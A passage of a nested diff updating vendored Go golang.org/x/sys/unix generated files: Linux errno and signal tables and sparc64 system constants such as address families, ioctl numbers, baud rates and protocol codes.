-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go
-index 95de199f..079762fa 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go
-@@ -1,915 +1,132 @@
--// mkerrors.sh -m64
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// mkerrors.sh -Wall -Werror -static -I/tmp/include
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build sparc64,linux
-
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs -- -m64 _const.go
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
-+// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2a
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
- ASI_LEON_DFLUSH = 0x11
- ASI_LEON_IFLUSH = 0x10
- ASI_LEON_MMUFLUSH = 0x18
-- B0 = 0x0
-- B1000000 = 0x100c
-- B110 = 0x3
-+ B1000000 = 0x1008
- B115200 = 0x1002
-- B1152000 = 0x100d
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100e
-- B153600 = 0x1006
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100f
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
- B230400 = 0x1003
-- B2400 = 0xb
-- B300 = 0x7
-- B307200 = 0x1007
-- B38400 = 0xf
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x100a
-+ B500000 = 0x1005
- B57600 = 0x1001
-- B576000 = 0x100b
-- B600 = 0x8
-- B614400 = 0x1008
-- B75 = 0x2
-- B76800 = 0x1005
-- B921600 = 0x1009
-- B9600 = 0xd
-- BLKBSZGET = 0x80081270
-- BLKBSZSET = 0x40081271
-- BLKFLSBUF = 0x1261
-- BLKFRAGET = 0x1265
-- BLKFRASET = 0x1264
-- BLKGETSIZE = 0x1260
-- BLKGETSIZE64 = 0x80081272
-- BLKRAGET = 0x1263
-- BLKRASET = 0x1262
-- BLKROGET = 0x125e
-- BLKROSET = 0x125d
-- BLKRRPART = 0x125f
-- BLKSECTGET = 0x1267
-- BLKSECTSET = 0x1266
-- BLKSSZGET = 0x1268
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x40081270
-+ BLKBSZSET = 0x80081271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40081272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
- BS1 = 0x2000
- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
- CBAUD = 0x100f
- CBAUDEX = 0x1000
-- CFLUSH = 0xf
- CIBAUD = 0x100f0000
- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
- CR1 = 0x200
- CR2 = 0x400
- CR3 = 0x600
- CRDLY = 0x600
- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
- CS6 = 0x10
- CS7 = 0x20
- CS8 = 0x30
-- CSIGNAL = 0xff
- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
- ECHOCTL = 0x200
- ECHOE = 0x10
- ECHOK = 0x20
- ECHOKE = 0x800
- ECHONL = 0x40
- ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x400000
-+ EFD_NONBLOCK = 0x4000
- EMT_TAGOVF = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
- EPOLL_CLOEXEC = 0x400000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
- FF1 = 0x8000
- FFDLY = 0x8000
-- FLUSHO = 0x2000
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-+ FLUSHO = 0x1000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
- F_GETLK = 0x7
- F_GETLK64 = 0x7
- F_GETOWN = 0x5
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
- F_RDLCK = 0x1
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
- F_SETLK = 0x8
- F_SETLK64 = 0x8
- F_SETLKW = 0x9
- F_SETLKW64 = 0x9
- F_SETOWN = 0x6
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
- F_UNLCK = 0x3
- F_WRLCK = 0x2
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
- HUPCL = 0x400
-- IBSHIFT = 0x10
- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
- IEXTEN = 0x8000
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
- IN_CLOEXEC = 0x400000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
- IN_NONBLOCK = 0x4000
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
